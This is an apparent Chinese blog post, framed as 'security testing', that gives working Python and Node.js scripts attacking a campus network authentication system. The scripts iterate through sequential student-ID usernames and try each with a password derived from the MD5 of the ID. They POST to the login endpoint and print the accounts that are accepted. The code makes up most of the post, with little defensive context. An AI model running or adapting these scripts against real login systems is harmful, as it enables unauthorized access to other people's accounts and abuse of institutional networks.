【安全】测试校园网认证系统帐号密码
2013-12-24 17:55
155 查看
Python版本
Python版本为3.3.2,好像现在还是2.*的天下,但貌似3.*要显得高大上,库和函数好像也略屌略简单一些;
初学Python,这是真正意义上写的第一个程序,很多地方都不熟练,特别是Python3语法和类型转换这块调试了很久 o(︶︿︶)o
下面代码完美运行无压力(*^__^*) 但好像效率有点低 .. 跑的没有NODE.JS快;
NODE.JS版本
以下代码不能直接跑,缺少MD5加密算法实现,加上后就没问题了,由于MD5的javascript实现有点长,所以就不贴在这儿了;
Python版本为3.3.2,好像现在还是2.*的天下,但貌似3.*要显得高大上,库和函数好像也略屌略简单一些;
初学Python,这是真正意义上写的第一个程序,很多地方都不熟练,特别是Python3语法和类型转换这块调试了很久 o(︶︿︶)o
下面代码完美运行无压力(*^__^*) 但好像效率有点低 .. 跑的没有NODE.JS快;
import urllib.parse,urllib.request,http.cookiejar from hashlib import md5 def GetUrlRequest(usr): pw = usr m = md5() m.update(pw) form = { 'username':usr, 'password':m.hexdigest()[8:24], 'drop':'0', 'type':'1', 'n':'100' } postdata = urllib.parse.urlencode(form).encode(encoding = 'UTF8') hostpath = 'http://10.0.0.55/cgi-bin/do_login' header = { 'Content-Type':'application/X-www-form-urlencoded' } req = urllib.request.Request( url = hostpath, data = postdata, headers = header ) return urllib.request.urlopen(req).read().decode("UTF8") name = b'1120130000' for i in range(0,100): if (GetUrlRequest(name) != 'username_error' and GetUrlRequest(name) != 'password_error'): print('可用帐号') print(name) name_int = int(name) name_int = name_int + 1 name_str = str(name_int) name = name_str.encode()
NODE.JS版本
以下代码不能直接跑,缺少MD5加密算法实现,加上后就没问题了,由于MD5的javascript实现有点长,所以就不贴在这儿了;
var first = 1120130000; var http = require('http'); var querystring = require('querystring'); var form = { username:'', password:'', drop:0, type:1, n:100, } var contents = querystring.stringify(form); var options = { host:'10.0.0.55', path:'/cgi-bin/do_login', method:'POST', headers:{ 'Content-Type':'application/x-www-form-urlencoded', 'Content-Length':contents.length } }; var count = 0; function sendOp(){ var pass=hex_md5(first+'').substr(8,16); form.username = first; form.password = pass; contents = querystring.stringify(form); options.headers['Content-Length'] = contents.length; var req = http.request(options,function(res){ res.setEncoding('utf8'); res.on('data',function(data){ if(data != 'username_error' && data != 'password_error'){ console.log(first); console.log(pass); console.log(data); console.log('\n'); } count++; if(count<100){ first++; sendOp(); } }); }); req.write(contents); req.end(); } sendOp();
相关文章推荐
- WCF基于用户名和密码安全成功测试
- 教你如何保护MSN和Hotmail的帐号密码安全
- 局域网内部安全测试--------利用弱密码控制远程计算机
- 局域网内部安全测试--------利用弱密码控制远程计算机
- kali Linux下wifi密码安全测试(1)虚拟机下usb无线网卡的挂载 【转】
- 用正则测试你的密码安全检查
- WCF基于用户名和密码安全成功测试
- 【转】安全测试===如何查看浏览器保存的密码
- 从12306帐号泄漏谈用户密码安全
- 【从测试数据看出你的密码是否安全】
- 如何解决企事业信息系统越来越多导致的帐号密码安全及管理混乱问题
- 从12306帐号泄漏谈用户密码安全
- Linux用户管理安全宝典:密码防破解与帐号文件保护
- 【xinfanqie】从测试数据看出你的密码是否安全
- WCF基于用户名和密码安全成功测试
- Linux用户管理安全宝典:密码防破解与帐号文件保护(1)
- 帝国cms管理员帐号、登陆密码、登陆认证码、登陆安全答案忘记了怎么办?
- 如何给自己各种帐号编一个安全又不会忘记的密码?
- 帝国CMS管理员帐号、密码、认证码及安全答案忘记的解决办法
- 同一银行帐号多设几组密码,加强安全.